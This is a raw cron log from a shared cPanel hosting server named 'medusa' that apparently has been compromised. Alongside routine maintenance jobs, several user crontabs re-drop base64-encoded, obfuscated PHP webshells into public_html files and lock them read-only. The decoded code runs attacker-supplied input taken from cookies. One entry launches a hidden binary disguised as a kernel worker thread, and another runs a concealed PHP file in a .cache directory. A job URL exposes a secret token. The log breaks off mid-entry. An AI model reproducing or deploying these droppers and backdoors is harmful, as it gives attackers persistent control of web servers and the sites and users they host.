Mar  2 01:00:02 medusa CROND[20005]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:00:02 medusa CROND[20007]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:00:02 medusa CROND[20008]: (roble) CMD ({ echo L3Vzci9iaW4vcGtpbGwgLTAgLVUxMTc3IGRlZnVuY3QgMj4vZGV2L251bGwgfHwgU0hFTEw9IFRFUk09eHRlcm0tMjU2Y29sb3IgR1NfQVJHUz0iLWsgL2hvbWU4L3JvYmxlLy5jb25maWcvaHRvcC9kZWZ1bmN0LmRhdCAtbGlxRCIgL3Vzci9iaW4vYmFzaCAtYyAiZXhlYyAtYSAnW21tX3BlcmNwdV93cV0nICcvaG9tZTgvcm9ibGUvLmNvbmZpZy9odG9wL2RlZnVuY3QnIiAyPi9kZXYvbnVsbAo=|base64 -d|bash;} 2>/dev/null #1b5b324a50524e47 >/dev/random # seed prng defunct-kernel)
Mar  2 01:00:02 medusa CROND[20009]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 01:00:02 medusa CROND[20010]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Mar  2 01:00:02 medusa CROND[20011]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 01:00:02 medusa CROND[20015]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 01:00:02 medusa CROND[20018]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:00:02 medusa CROND[20023]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 01:00:02 medusa CROND[20025]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 01:00:02 medusa CROND[20026]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 01:00:02 medusa CROND[20024]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 01:00:02 medusa CROND[20027]: (root) CMD (/nutscripts/check_mail_blocked.sh > /dev/null 2>&1)
Mar  2 01:00:02 medusa CROND[19995]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 01:00:02 medusa CROND[20044]: (revistaenergiaco) CMD (/opt/cpanel/ea-php81/root/usr/bin/php -q /home14/revistaenergiaco/news.revistaenergia.com.ar/admin/index.php -pprocessqueue -c/home14/revistaenergiaco/news.revistaenergia.com.ar/config/config.php >/dev/null)
Mar  2 01:00:02 medusa CROND[20035]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 01:00:02 medusa CROND[20037]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  2 01:00:02 medusa CROND[20054]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:00:02 medusa CROND[20045]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  2 01:00:02 medusa CROND[20046]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 01:00:02 medusa CROND[20006]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  2 01:00:02 medusa CROND[20002]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  2 01:01:01 medusa CROND[24191]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 01:01:01 medusa CROND[24192]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:01:01 medusa CROND[24194]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 01:01:01 medusa CROND[24197]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 01:01:01 medusa CROND[24198]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 01:01:01 medusa CROND[24196]: (root) CMD (run-parts /etc/cron.hourly)
Mar  2 01:01:01 medusa CROND[24195]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 01:01:01 medusa CROND[24200]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 01:01:01 medusa CROND[24205]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 01:01:01 medusa CROND[24206]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 01:01:01 medusa CROND[24207]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:01:01 medusa CROND[24209]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:01:01 medusa CROND[24210]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:01:01 medusa CROND[24211]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 01:01:01 medusa run-parts(/etc/cron.hourly)[24196]: starting 0anacron
Mar  2 01:01:02 medusa anacron[24539]: Anacron started on 2026-03-02
Mar  2 01:01:02 medusa run-parts(/etc/cron.hourly)[24541]: finished 0anacron
Mar  2 01:01:02 medusa anacron[24539]: Normal exit (0 jobs run)
Mar  2 01:02:01 medusa CROND[29900]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 01:02:01 medusa CROND[30007]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 01:02:01 medusa CROND[30009]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 01:02:01 medusa CROND[30010]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo 